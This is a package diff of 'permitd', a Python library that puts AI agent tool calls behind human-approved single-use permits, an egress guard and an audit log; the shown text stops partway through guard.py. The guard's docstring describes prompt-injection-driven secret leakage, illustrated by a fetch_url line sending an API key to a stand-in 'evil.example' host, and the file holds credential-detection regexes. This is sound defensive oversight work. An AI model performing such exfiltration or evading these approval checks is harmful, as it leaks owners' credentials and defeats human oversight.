permitd 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- permitd/__init__.py +31 -0
- permitd/audit.py +62 -0
- permitd/binding.py +24 -0
- permitd/cli.py +137 -0
- permitd/gate.py +199 -0
- permitd/guard.py +156 -0
- permitd/kernel.py +247 -0
- permitd/permit.py +70 -0
- permitd/store.py +151 -0
- permitd-0.1.0.dist-info/METADATA +208 -0
- permitd-0.1.0.dist-info/RECORD +14 -0
- permitd-0.1.0.dist-info/WHEEL +4 -0
- permitd-0.1.0.dist-info/entry_points.txt +2 -0
- permitd-0.1.0.dist-info/licenses/LICENSE +21 -0
permitd/__init__.py
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
"""permitd — governed tool execution for agent loops.
|
|
2
|
+
|
|
3
|
+
propose(tool, args) -> Permit (signed, TTL, single-use)
|
|
4
|
+
-> approve (out-of-band)
|
|
5
|
+
-> execute (verify + burn)
|
|
6
|
+
-> one audit line lands.
|
|
7
|
+
|
|
8
|
+
Core: `PermitKernel` (the flow above, storage-pluggable, stdlib-only).
|
|
9
|
+
Convenience: `Gate` (a tool registry with GREEN/YELLOW/RED tiers and an
|
|
10
|
+
egress guard over the kernel). Operator surface: the `permitd` CLI.
|
|
11
|
+
"""
|
|
12
|
+
from .audit import AuditLog, summarize_args
|
|
13
|
+
from .binding import binding_hash, canonical_args
|
|
14
|
+
from .gate import GREEN, RED, YELLOW, Gate, GateResult, default_paths
|
|
15
|
+
from .guard import scan_outbound
|
|
16
|
+
from .kernel import DEFAULT_TTL_SECONDS, PermitError, PermitKernel, load_or_create_secret
|
|
17
|
+
from .permit import APPROVED, DENIED, EXECUTED, EXPIRED, PROPOSED, Permit
|
|
18
|
+
from .store import MemoryStore, PermitStore, SqliteStore
|
|
19
|
+
|
|
20
|
+
__version__ = "0.1.0"
|
|
21
|
+
|
|
22
|
+
__all__ = [
|
|
23
|
+
"AuditLog", "summarize_args",
|
|
24
|
+
"binding_hash", "canonical_args",
|
|
25
|
+
"GREEN", "YELLOW", "RED", "Gate", "GateResult", "default_paths",
|
|
26
|
+
"scan_outbound",
|
|
27
|
+
"DEFAULT_TTL_SECONDS", "PermitError", "PermitKernel", "load_or_create_secret",
|
|
28
|
+
"PROPOSED", "APPROVED", "DENIED", "EXECUTED", "EXPIRED", "Permit",
|
|
29
|
+
"MemoryStore", "PermitStore", "SqliteStore",
|
|
30
|
+
"__version__",
|
|
31
|
+
]
|
permitd/audit.py
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
"""Append-only audit trail: one JSON line per outcome.
|
|
2
|
+
|
|
3
|
+
Best-effort by contract: logging must never raise into the dispatch path. A
|
|
4
|
+
gate that can't write its audit line still answers; it just loses that line.
|
|
5
|
+
JSONL on purpose — the trail stays `tail -f`-able and trivially exportable.
|
|
6
|
+
"""
|
|
7
|
+
from __future__ import annotations
|
|
8
|
+
|
|
9
|
+
import json
|
|
10
|
+
import threading
|
|
11
|
+
from datetime import datetime, timezone
|
|
12
|
+
from pathlib import Path
|
|
13
|
+
from typing import Any, Dict, List
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
class AuditLog:
|
|
17
|
+
def __init__(self, path: str | Path) -> None:
|
|
18
|
+
self.path = Path(path)
|
|
19
|
+
self._lock = threading.Lock()
|
|
20
|
+
|
|
21
|
+
def log(self, entry: Dict[str, Any]) -> None:
|
|
22
|
+
"""Append one record; `ts` is stamped here in UTC ISO-8601."""
|
|
23
|
+
record = {"ts": datetime.now(timezone.utc).isoformat(), **entry}
|
|
24
|
+
try:
|
|
25
|
+
with self._lock:
|
|
26
|
+
self.path.parent.mkdir(parents=True, exist_ok=True)
|
|
27
|
+
with self.path.open("a", encoding="utf-8") as f:
|
|
28
|
+
f.write(json.dumps(record, ensure_ascii=False) + "\n")
|
|
29
|
+
except Exception:
|
|
30
|
+
pass # never let an audit failure break the call
|
|
31
|
+
|
|
32
|
+
def tail(self, n: int = 50) -> List[Dict[str, Any]]:
|
|
33
|
+
"""The most recent `n` records, oldest first."""
|
|
34
|
+
try:
|
|
35
|
+
if not self.path.exists():
|
|
36
|
+
return []
|
|
37
|
+
with self._lock:
|
|
38
|
+
lines = self.path.read_text(encoding="utf-8").splitlines()
|
|
39
|
+
out: List[Dict[str, Any]] = []
|
|
40
|
+
for line in lines[-n:]:
|
|
41
|
+
line = line.strip()
|
|
42
|
+
if not line:
|
|
43
|
+
continue
|
|
44
|
+
try:
|
|
45
|
+
out.append(json.loads(line))
|
|
46
|
+
except Exception:
|
|
47
|
+
continue
|
|
48
|
+
return out
|
|
49
|
+
except Exception:
|
|
50
|
+
return []
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
def summarize_args(args: Dict[str, Any], max_len: int = 200) -> Dict[str, Any]:
|
|
54
|
+
"""Trim arg values for audit lines so the log never stores huge payloads.
|
|
55
|
+
(The approval surface is the opposite: it always shows full args.)"""
|
|
56
|
+
out: Dict[str, Any] = {}
|
|
57
|
+
for k, v in (args or {}).items():
|
|
58
|
+
if isinstance(v, str) and len(v) > max_len:
|
|
59
|
+
out[k] = v[:max_len] + "…"
|
|
60
|
+
else:
|
|
61
|
+
out[k] = v
|
|
62
|
+
return out
|
permitd/binding.py
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
"""Argument canonicalization and the binding hash.
|
|
2
|
+
|
|
3
|
+
A permit is bound to one exact (tool, args) pair. The binding hash is the
|
|
4
|
+
scope of that bond: approval for "send X to Alice" can neither be replayed
|
|
5
|
+
nor bent to "send Y to Eve".
|
|
6
|
+
"""
|
|
7
|
+
from __future__ import annotations
|
|
8
|
+
|
|
9
|
+
import hashlib
|
|
10
|
+
import json
|
|
11
|
+
from typing import Any, Dict, Optional
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
def canonical_args(args: Optional[Dict[str, Any]]) -> str:
|
|
15
|
+
"""Stable JSON for args so the same call always hashes the same. Sorted
|
|
16
|
+
keys + tight separators: argument ORDER and whitespace can't change the
|
|
17
|
+
binding, but any value change does."""
|
|
18
|
+
return json.dumps(args or {}, sort_keys=True, separators=(",", ":"), ensure_ascii=False)
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
def binding_hash(tool: str, args: Optional[Dict[str, Any]]) -> str:
|
|
22
|
+
"""The scope a permit is bound to: this exact tool, these exact args. The
|
|
23
|
+
tool name is folded in so a permit for one tool can never satisfy another."""
|
|
24
|
+
return hashlib.sha256(f"{tool}\n{canonical_args(args)}".encode("utf-8")).hexdigest()
|
permitd/cli.py
ADDED
|
@@ -0,0 +1,137 @@
|
|
|
1
|
+
"""The `permitd` CLI — the minimal approve surface.
|
|
2
|
+
|
|
3
|
+
Points at the same SQLite store (and derived secret + audit paths) as a
|
|
4
|
+
library `Gate(db=...)` or `PermitKernel(SqliteStore(...))`, so approval is
|
|
5
|
+
genuinely out-of-band: the agent proposes in one process, a human approves
|
|
6
|
+
here, the agent's retry executes.
|
|
7
|
+
|
|
8
|
+
permitd pending # what is waiting, with FULL args (informed consent)
|
|
9
|
+
permitd show PRM-...
|
|
10
|
+
permitd approve PRM-...
|
|
11
|
+
permitd deny PRM-...
|
|
12
|
+
permitd audit -n 20
|
|
13
|
+
|
|
14
|
+
Store selection: --db, else $PERMITD_DB, else ./permitd.db.
|
|
15
|
+
"""
|
|
16
|
+
from __future__ import annotations
|
|
17
|
+
|
|
18
|
+
import argparse
|
|
19
|
+
import json
|
|
20
|
+
import os
|
|
21
|
+
import sys
|
|
22
|
+
from typing import Optional
|
|
23
|
+
|
|
24
|
+
from .audit import AuditLog
|
|
25
|
+
from .gate import default_paths
|
|
26
|
+
from .kernel import PermitError, PermitKernel
|
|
27
|
+
from .permit import Permit
|
|
28
|
+
from .store import SqliteStore
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
def _kernel(args: argparse.Namespace) -> tuple[PermitKernel, AuditLog]:
|
|
32
|
+
db = args.db or os.getenv("PERMITD_DB") or "permitd.db"
|
|
33
|
+
paths = default_paths(db)
|
|
34
|
+
audit = AuditLog(args.audit or os.getenv("PERMITD_AUDIT") or paths["audit"])
|
|
35
|
+
kernel = PermitKernel(
|
|
36
|
+
SqliteStore(paths["db"]),
|
|
37
|
+
secret_path=None if os.getenv("PERMITD_SECRET") else paths["secret"],
|
|
38
|
+
audit=audit,
|
|
39
|
+
)
|
|
40
|
+
return kernel, audit
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
def _print_permit(p: Permit) -> None:
|
|
44
|
+
# Full, untruncated args on purpose: this is the operator's
|
|
45
|
+
# informed-consent surface — they must see the exact thing they authorize.
|
|
46
|
+
print(f" {p.id} [{p.status}] {p.tool}")
|
|
47
|
+
print(f" args: {json.dumps(p.args, ensure_ascii=False)}")
|
|
48
|
+
print(f" proposed: {p.created_at} ttl: {p.ttl_seconds}s")
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
def cmd_pending(args: argparse.Namespace) -> int:
|
|
52
|
+
kernel, _ = _kernel(args)
|
|
53
|
+
pending = kernel.pending()
|
|
54
|
+
if not pending:
|
|
55
|
+
print("no pending permits")
|
|
56
|
+
return 0
|
|
57
|
+
print(f"{len(pending)} pending permit(s):")
|
|
58
|
+
for p in pending:
|
|
59
|
+
_print_permit(p)
|
|
60
|
+
return 0
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
def cmd_show(args: argparse.Namespace) -> int:
|
|
64
|
+
kernel, _ = _kernel(args)
|
|
65
|
+
p = kernel.get(args.permit_id)
|
|
66
|
+
if p is None:
|
|
67
|
+
print(f"no permit {args.permit_id}", file=sys.stderr)
|
|
68
|
+
return 1
|
|
69
|
+
_print_permit(p)
|
|
70
|
+
return 0
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
def cmd_approve(args: argparse.Namespace) -> int:
|
|
74
|
+
kernel, _ = _kernel(args)
|
|
75
|
+
p = kernel.get(args.permit_id)
|
|
76
|
+
if p is not None:
|
|
77
|
+
_print_permit(p)
|
|
78
|
+
try:
|
|
79
|
+
p = kernel.approve(args.permit_id)
|
|
80
|
+
except PermitError as e:
|
|
81
|
+
print(f"refused: {e}", file=sys.stderr)
|
|
82
|
+
return 1
|
|
83
|
+
print(f"approved — {p.id} is executable for {p.ttl_seconds}s, single use, "
|
|
84
|
+
"bound to exactly these arguments")
|
|
85
|
+
return 0
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
def cmd_deny(args: argparse.Namespace) -> int:
|
|
89
|
+
kernel, _ = _kernel(args)
|
|
90
|
+
try:
|
|
91
|
+
p = kernel.deny(args.permit_id)
|
|
92
|
+
except PermitError as e:
|
|
93
|
+
print(f"refused: {e}", file=sys.stderr)
|
|
94
|
+
return 1
|
|
95
|
+
print(f"denied — {p.id} will never run")
|
|
96
|
+
return 0
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
def cmd_audit(args: argparse.Namespace) -> int:
|
|
100
|
+
_, audit = _kernel(args)
|
|
101
|
+
records = audit.tail(args.n)
|
|
102
|
+
if not records:
|
|
103
|
+
print("audit log is empty")
|
|
104
|
+
return 0
|
|
105
|
+
for r in records:
|
|
106
|
+
print(json.dumps(r, ensure_ascii=False))
|
|
107
|
+
return 0
|
|
108
|
+
|
|
109
|
+
|
|
110
|
+
def main(argv: Optional[list[str]] = None) -> int:
|
|
111
|
+
parser = argparse.ArgumentParser(
|
|
112
|
+
prog="permitd",
|
|
113
|
+
description="Approve, deny, and audit permits for governed tool execution.")
|
|
114
|
+
parser.add_argument("--db", help="permit store path (default: $PERMITD_DB or ./permitd.db)")
|
|
115
|
+
parser.add_argument("--audit", help="audit log path (default: alongside the db)")
|
|
116
|
+
sub = parser.add_subparsers(dest="command", required=True)
|
|
117
|
+
|
|
118
|
+
sub.add_parser("pending", help="list permits awaiting a decision").set_defaults(fn=cmd_pending)
|
|
119
|
+
p = sub.add_parser("show", help="show one permit")
|
|
120
|
+
p.add_argument("permit_id")
|
|
121
|
+
p.set_defaults(fn=cmd_show)
|
|
122
|
+
p = sub.add_parser("approve", help="approve a permit (mints the single-use token)")
|
|
123
|
+
p.add_argument("permit_id")
|
|
124
|
+
p.set_defaults(fn=cmd_approve)
|
|
125
|
+
p = sub.add_parser("deny", help="deny a permit")
|
|
126
|
+
p.add_argument("permit_id")
|
|
127
|
+
p.set_defaults(fn=cmd_deny)
|
|
128
|
+
p = sub.add_parser("audit", help="print recent audit lines")
|
|
129
|
+
p.add_argument("-n", type=int, default=20, help="how many lines (default 20)")
|
|
130
|
+
p.set_defaults(fn=cmd_audit)
|
|
131
|
+
|
|
132
|
+
ns = parser.parse_args(argv)
|
|
133
|
+
return ns.fn(ns)
|
|
134
|
+
|
|
135
|
+
|
|
136
|
+
if __name__ == "__main__":
|
|
137
|
+
raise SystemExit(main())
|
permitd/gate.py
ADDED
|
@@ -0,0 +1,199 @@
|
|
|
1
|
+
"""The Gate: a small tool registry with tiered governance over the kernel.
|
|
2
|
+
|
|
3
|
+
Tiers (the same semantics the kernel grew up with in production):
|
|
4
|
+
|
|
5
|
+
GREEN read-only over the caller's own state. Runs freely; audited.
|
|
6
|
+
YELLOW external read. Runs only under STANDING operator authorization
|
|
7
|
+
(one toggle: `gate.standing_authorization = True`); audited.
|
|
8
|
+
RED write / exec / send. Per-call permit: propose -> approve -> execute.
|
|
9
|
+
|
|
10
|
+
The egress guard runs before any non-GREEN call — including at PROPOSE time,
|
|
11
|
+
so a secret-bearing proposal never reaches the approval surface. Failures are
|
|
12
|
+
returned as GateResult(ok=False), never raised, so a tool call can never crash
|
|
13
|
+
an agent turn.
|
|
14
|
+
"""
|
|
15
|
+
from __future__ import annotations
|
|
16
|
+
|
|
17
|
+
from dataclasses import dataclass, field
|
|
18
|
+
from pathlib import Path
|
|
19
|
+
from typing import Any, Callable, Dict, List, Optional
|
|
20
|
+
|
|
21
|
+
from . import guard as _guard
|
|
22
|
+
from .audit import AuditLog, summarize_args
|
|
23
|
+
from .kernel import DEFAULT_TTL_SECONDS, PermitError, PermitKernel
|
|
24
|
+
from .permit import Permit
|
|
25
|
+
from .store import SqliteStore
|
|
26
|
+
|
|
27
|
+
GREEN = "green"
|
|
28
|
+
YELLOW = "yellow"
|
|
29
|
+
RED = "red"
|
|
30
|
+
TIERS = (GREEN, YELLOW, RED)
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def default_paths(db: str | Path) -> Dict[str, Path]:
|
|
34
|
+
"""The convention that lets a library Gate and the `permitd` CLI meet on
|
|
35
|
+
one database: permitd.db -> permitd.db.secret + permitd_audit.jsonl."""
|
|
36
|
+
db = Path(db)
|
|
37
|
+
return {
|
|
38
|
+
"db": db,
|
|
39
|
+
"secret": db.with_name(db.name + ".secret"),
|
|
40
|
+
"audit": db.with_name(db.stem + "_audit.jsonl"),
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
@dataclass
|
|
45
|
+
class RegisteredTool:
|
|
46
|
+
name: str
|
|
47
|
+
fn: Callable[..., Any]
|
|
48
|
+
tier: str
|
|
49
|
+
description: str = ""
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
@dataclass
|
|
53
|
+
class GateResult:
|
|
54
|
+
"""Uniform return shape for every call. `ok=False` + `reason` labels why
|
|
55
|
+
nothing ran (or why the run failed); `permit` carries the public view of a
|
|
56
|
+
freshly-proposed permit when the answer is 'go get approval'."""
|
|
57
|
+
ok: bool
|
|
58
|
+
result: Any = None
|
|
59
|
+
error: str = ""
|
|
60
|
+
reason: str = ""
|
|
61
|
+
permit: Optional[Dict[str, Any]] = field(default=None)
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
class Gate:
|
|
65
|
+
def __init__(
|
|
66
|
+
self,
|
|
67
|
+
kernel: Optional[PermitKernel] = None,
|
|
68
|
+
*,
|
|
69
|
+
db: Optional[str | Path] = None,
|
|
70
|
+
secret: Optional[str | bytes] = None,
|
|
71
|
+
audit_path: Optional[str | Path] = None,
|
|
72
|
+
ttl_seconds: int = DEFAULT_TTL_SECONDS,
|
|
73
|
+
use_guard: bool = True,
|
|
74
|
+
standing_authorization: bool = False,
|
|
75
|
+
) -> None:
|
|
76
|
+
if kernel is not None:
|
|
77
|
+
self.kernel = kernel
|
|
78
|
+
self.audit = kernel.audit
|
|
79
|
+
else:
|
|
80
|
+
if db is not None:
|
|
81
|
+
paths = default_paths(db)
|
|
82
|
+
self.audit = AuditLog(audit_path or paths["audit"])
|
|
83
|
+
self.kernel = PermitKernel(
|
|
84
|
+
SqliteStore(paths["db"]),
|
|
85
|
+
secret=secret,
|
|
86
|
+
secret_path=None if secret else paths["secret"],
|
|
87
|
+
ttl_seconds=ttl_seconds,
|
|
88
|
+
audit=self.audit,
|
|
89
|
+
)
|
|
90
|
+
else:
|
|
91
|
+
self.audit = AuditLog(audit_path) if audit_path else None
|
|
92
|
+
self.kernel = PermitKernel(secret=secret, ttl_seconds=ttl_seconds,
|
|
93
|
+
audit=self.audit)
|
|
94
|
+
self.use_guard = use_guard
|
|
95
|
+
self.standing_authorization = standing_authorization
|
|
96
|
+
self.registry: Dict[str, RegisteredTool] = {}
|
|
97
|
+
|
|
98
|
+
# ── registry ─────────────────────────────────────────────────────────
|
|
99
|
+
def register(self, name: str, fn: Callable[..., Any], *, tier: str = GREEN,
|
|
100
|
+
description: str = "") -> None:
|
|
101
|
+
if tier not in TIERS:
|
|
102
|
+
raise ValueError(f"tool {name!r}: unknown tier {tier!r}")
|
|
103
|
+
self.registry[name] = RegisteredTool(name, fn, tier, description)
|
|
104
|
+
|
|
105
|
+
def tool(self, name: Optional[str] = None, *, tier: str = GREEN,
|
|
106
|
+
description: str = "") -> Callable[[Callable[..., Any]], Callable[..., Any]]:
|
|
107
|
+
"""Decorator form: @gate.tool(tier=RED)."""
|
|
108
|
+
def deco(fn: Callable[..., Any]) -> Callable[..., Any]:
|
|
109
|
+
self.register(name or fn.__name__, fn, tier=tier,
|
|
110
|
+
description=description or (fn.__doc__ or "").strip())
|
|
111
|
+
return fn
|
|
112
|
+
return deco
|
|
113
|
+
|
|
114
|
+
def tools(self) -> List[Dict[str, str]]:
|
|
115
|
+
return [{"name": t.name, "tier": t.tier, "description": t.description}
|
|
116
|
+
for t in sorted(self.registry.values(), key=lambda t: t.name)]
|
|
117
|
+
|
|
118
|
+
# ── operator surface (delegates) ─────────────────────────────────────
|
|
119
|
+
def approve(self, permit_id: str) -> Permit:
|
|
120
|
+
return self.kernel.approve(permit_id)
|
|
121
|
+
|
|
122
|
+
def deny(self, permit_id: str) -> Permit:
|
|
123
|
+
return self.kernel.deny(permit_id)
|
|
124
|
+
|
|
125
|
+
def pending(self) -> List[Permit]:
|
|
126
|
+
return self.kernel.pending()
|
|
127
|
+
|
|
128
|
+
def get(self, permit_id: str) -> Optional[Permit]:
|
|
129
|
+
return self.kernel.get(permit_id)
|
|
130
|
+
|
|
131
|
+
# ── dispatch ─────────────────────────────────────────────────────────
|
|
132
|
+
def call(self, name: str, args: Optional[Dict[str, Any]] = None, *,
|
|
133
|
+
permit_id: Optional[str] = None) -> GateResult:
|
|
134
|
+
args = dict(args or {})
|
|
135
|
+
tool = self.registry.get(name)
|
|
136
|
+
if tool is None:
|
|
137
|
+
self._log({"event": "refused", "tool": name, "reason": "unknown_tool"})
|
|
138
|
+
return GateResult(ok=False, reason="unknown_tool",
|
|
139
|
+
error=f"unknown tool: {name}")
|
|
140
|
+
|
|
141
|
+
# Egress guard first — the earliest content check, ahead of the permit
|
|
142
|
+
# flow on purpose: a poisoned RED call is refused at PROPOSE time, so no
|
|
143
|
+
# approval card is ever shown for it and its secret-bearing args never
|
|
144
|
+
# reach the audit trail. The same scan fires again on the execute
|
|
145
|
+
# re-dispatch, so a secret buried in operator-approved args is refused
|
|
146
|
+
# even post-approval. One chokepoint, both lanes.
|
|
147
|
+
if self.use_guard and tool.tier != GREEN:
|
|
148
|
+
allow, why = _guard.scan_outbound(name, args)
|
|
149
|
+
if not allow:
|
|
150
|
+
self._log({"event": "refused", "tool": name, "tier": tool.tier,
|
|
151
|
+
"reason": "egress_blocked", "guard": why})
|
|
152
|
+
return GateResult(ok=False, reason="egress_blocked", error=(
|
|
153
|
+
f"{name} was blocked by the egress guard ({why}). The "
|
|
154
|
+
"arguments carry credential-shaped content that must not "
|
|
155
|
+
"leave; the call was refused before anything was sent. Do "
|
|
156
|
+
"not retry — remove the sensitive content."))
|
|
157
|
+
|
|
158
|
+
if tool.tier == YELLOW and not self.standing_authorization:
|
|
159
|
+
self._log({"event": "refused", "tool": name, "tier": YELLOW,
|
|
160
|
+
"reason": "not_authorized"})
|
|
161
|
+
return GateResult(ok=False, reason="not_authorized", error=(
|
|
162
|
+
f"{name} is a yellow-tier tool and requires standing operator "
|
|
163
|
+
"authorization (gate.standing_authorization = True)."))
|
|
164
|
+
|
|
165
|
+
if tool.tier == RED:
|
|
166
|
+
if not permit_id:
|
|
167
|
+
permit = self.kernel.propose(name, args)
|
|
168
|
+
return GateResult(
|
|
169
|
+
ok=False, reason="approval_required", permit=permit.public(),
|
|
170
|
+
error=(f"{name} needs operator approval before it runs. "
|
|
171
|
+
f"Permit {permit.id} is proposed — ask the operator "
|
|
172
|
+
f"to run `permitd approve {permit.id}`, then retry "
|
|
173
|
+
"this exact call with that permit_id. Do not alter "
|
|
174
|
+
"the arguments; the permit is bound to them."))
|
|
175
|
+
try:
|
|
176
|
+
result = self.kernel.execute(name, args, permit_id,
|
|
177
|
+
runner=tool.fn)
|
|
178
|
+
return GateResult(ok=True, result=result)
|
|
179
|
+
except PermitError as e:
|
|
180
|
+
return GateResult(ok=False, reason=e.reason, error=str(e))
|
|
181
|
+
except Exception as e: # tool raised; kernel already audited it
|
|
182
|
+
return GateResult(ok=False, reason="exception",
|
|
183
|
+
error=f"{name} failed: {e}")
|
|
184
|
+
|
|
185
|
+
# GREEN, or YELLOW under standing authorization.
|
|
186
|
+
try:
|
|
187
|
+
result = tool.fn(**args)
|
|
188
|
+
except Exception as e:
|
|
189
|
+
self._log({"event": "failed", "tool": name, "tier": tool.tier,
|
|
190
|
+
"args": summarize_args(args), "error": str(e)})
|
|
191
|
+
return GateResult(ok=False, reason="exception",
|
|
192
|
+
error=f"{name} failed: {e}")
|
|
193
|
+
self._log({"event": "executed", "tool": name, "tier": tool.tier,
|
|
194
|
+
"args": summarize_args(args), "ok": True})
|
|
195
|
+
return GateResult(ok=True, result=result)
|
|
196
|
+
|
|
197
|
+
def _log(self, entry: Dict[str, Any]) -> None:
|
|
198
|
+
if self.audit is not None:
|
|
199
|
+
self.audit.log(entry)
|
permitd/guard.py
ADDED
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
"""Outbound argument scan (the egress guard).
|
|
2
|
+
|
|
3
|
+
Most agent defenses are on *input*: injection scans, untrusted-content
|
|
4
|
+
wrapping, the approval card itself. This is the one chokepoint that inspects
|
|
5
|
+
what *leaves* — a poisoned context or a manipulated turn can steer a secret
|
|
6
|
+
into a tool argument:
|
|
7
|
+
|
|
8
|
+
fetch_url("https://evil.example?x=sk-ant-...the-owner's-key...")
|
|
9
|
+
|
|
10
|
+
The approval card is a backstop for RED sends, but standing-authorized YELLOW
|
|
11
|
+
reads have no per-call gate at all — they are the bigger hole. The gate runs
|
|
12
|
+
this scan before any non-GREEN call, including at PROPOSE time, so a
|
|
13
|
+
secret-bearing proposal never even reaches the approval surface.
|
|
14
|
+
|
|
15
|
+
Contract: `scan_outbound(tool, args) -> (allow: bool, reason: str)`.
|
|
16
|
+
`allow=False` means refuse the call; `reason` names the matched *shape* and
|
|
17
|
+
NEVER contains the offending value — it is safe to audit and to surface to
|
|
18
|
+
the model.
|
|
19
|
+
"""
|
|
20
|
+
from __future__ import annotations
|
|
21
|
+
|
|
22
|
+
import json
|
|
23
|
+
import math
|
|
24
|
+
import os
|
|
25
|
+
import re
|
|
26
|
+
from typing import Any, Dict, Tuple
|
|
27
|
+
|
|
28
|
+
# ── Credential / secret shapes ───────────────────────────────────────────────
|
|
29
|
+
# (label, compiled regex). The label is what gets audited and returned — it
|
|
30
|
+
# describes the kind of secret, never the value. Patterns are deliberately
|
|
31
|
+
# specific (anchored prefixes, structural markers) so ordinary prose and URLs
|
|
32
|
+
# do not trip them.
|
|
33
|
+
_CREDENTIAL_PATTERNS = [
|
|
34
|
+
("private_key_block",
|
|
35
|
+
re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH |DSA |PGP )?PRIVATE KEY-----")),
|
|
36
|
+
# "Bearer <token>": require a substantial token after it so the bare
|
|
37
|
+
# English word "bearer" in a sentence does not match.
|
|
38
|
+
("bearer_token",
|
|
39
|
+
re.compile(r"\bBearer\s+[A-Za-z0-9\-._~+/]{20,}=*", re.IGNORECASE)),
|
|
40
|
+
("basic_auth_header",
|
|
41
|
+
re.compile(r"\bBasic\s+[A-Za-z0-9+/]{16,}=*")),
|
|
42
|
+
("aws_access_key_id", re.compile(r"\b(?:AKIA|ASIA)[0-9A-Z]{16}\b")),
|
|
43
|
+
("github_token",
|
|
44
|
+
re.compile(r"\b(?:ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36,}\b"
|
|
45
|
+
r"|\bgithub_pat_[A-Za-z0-9_]{40,}\b")),
|
|
46
|
+
("slack_token", re.compile(r"\bxox[baprs]-[A-Za-z0-9-]{10,}\b")),
|
|
47
|
+
("stripe_key", re.compile(r"\b(?:sk|rk)_(?:live|test)_[A-Za-z0-9]{16,}\b")),
|
|
48
|
+
("anthropic_key", re.compile(r"\bsk-ant-[A-Za-z0-9\-_]{20,}\b")),
|
|
49
|
+
("openai_key", re.compile(r"\bsk-(?:proj-)?[A-Za-z0-9]{20,}\b")),
|
|
50
|
+
("google_api_key", re.compile(r"\bAIza[0-9A-Za-z\-_]{35}\b")),
|
|
51
|
+
("gcp_service_account", re.compile(r'"type"\s*:\s*"service_account"')),
|
|
52
|
+
# Generic "<secret-ish name> = <value>" assignments with a long opaque value.
|
|
53
|
+
("inline_secret_assignment",
|
|
54
|
+
re.compile(r"(?i)\b(?:api[_-]?key|secret|password|passwd|token|"
|
|
55
|
+
r"access[_-]?token|private[_-]?key)\b\s*[:=]\s*"
|
|
56
|
+
r"['\"]?[A-Za-z0-9\-._/+]{16,}")),
|
|
57
|
+
]
|
|
58
|
+
|
|
59
|
+
# Env-var names whose *values* this process holds and must never let leave.
|
|
60
|
+
# Matched by substring on the UPPERCASED name; PUBLIC keys are exempt (a
|
|
61
|
+
# public key is meant to be shared).
|
|
62
|
+
_SENSITIVE_ENV_MARKERS = ("KEY", "SECRET", "TOKEN", "PASSWORD", "PASSWD",
|
|
63
|
+
"PWD", "PRIVATE", "CREDENTIAL")
|
|
64
|
+
_ENV_EXEMPT_MARKERS = ("PUBLIC",)
|
|
65
|
+
# Don't treat trivially-short or boolean-ish env values as secrets — they
|
|
66
|
+
# cause false positives (a flag "1" appears in any query).
|
|
67
|
+
_MIN_ENV_VALUE_LEN = 10
|
|
68
|
+
_ENV_VALUE_NOISE = {"true", "false", "none", "null", "0", "1"}
|
|
69
|
+
|
|
70
|
+
# High-entropy backstop: a contiguous opaque token that looks like a secret
|
|
71
|
+
# even though it matched no named pattern. Tuned conservative — long enough
|
|
72
|
+
# and mixed enough that ordinary words and slugs do not trip it.
|
|
73
|
+
_TOKEN_RE = re.compile(r"[A-Za-z0-9+/=_\-]{48,}")
|
|
74
|
+
_ENTROPY_BITS_MIN = 4.3
|
|
75
|
+
# URLs are stripped before the entropy backstop runs: legitimate signed/CDN
|
|
76
|
+
# URLs carry long opaque tokens indistinguishable from secrets by entropy
|
|
77
|
+
# alone. The named patterns and the env-value match still scan the FULL text
|
|
78
|
+
# (URLs included), so a known-shape key embedded in a URL is still caught —
|
|
79
|
+
# only the noisy generic heuristic skips URL bodies.
|
|
80
|
+
_URL_RE = re.compile(r"https?://\S+")
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
def _stringify(args: Dict[str, Any]) -> str:
|
|
84
|
+
try:
|
|
85
|
+
return json.dumps(args, ensure_ascii=False, default=str)
|
|
86
|
+
except Exception:
|
|
87
|
+
return repr(args)
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
def _scan_credentials(text: str) -> str:
|
|
91
|
+
for label, rx in _CREDENTIAL_PATTERNS:
|
|
92
|
+
if rx.search(text):
|
|
93
|
+
return f"matches a credential pattern ({label})"
|
|
94
|
+
return ""
|
|
95
|
+
|
|
96
|
+
|
|
97
|
+
def _scan_env_secrets(text: str) -> str:
|
|
98
|
+
"""Refuse if any sensitive env *value* this process holds appears verbatim
|
|
99
|
+
in the outbound args. The value is never logged or returned — only the var
|
|
100
|
+
name, which is not itself a secret."""
|
|
101
|
+
for name, value in os.environ.items():
|
|
102
|
+
up = name.upper()
|
|
103
|
+
if any(m in up for m in _ENV_EXEMPT_MARKERS):
|
|
104
|
+
continue
|
|
105
|
+
if not any(m in up for m in _SENSITIVE_ENV_MARKERS):
|
|
106
|
+
continue
|
|
107
|
+
v = (value or "").strip()
|
|
108
|
+
if len(v) < _MIN_ENV_VALUE_LEN or v.lower() in _ENV_VALUE_NOISE:
|
|
109
|
+
continue
|
|
110
|
+
if v in text:
|
|
111
|
+
return f"contains the value of a sensitive environment variable ({name})"
|
|
112
|
+
return ""
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
def _shannon_entropy(s: str) -> float:
|
|
116
|
+
if not s:
|
|
117
|
+
return 0.0
|
|
118
|
+
counts: Dict[str, int] = {}
|
|
119
|
+
for ch in s:
|
|
120
|
+
counts[ch] = counts.get(ch, 0) + 1
|
|
121
|
+
n = len(s)
|
|
122
|
+
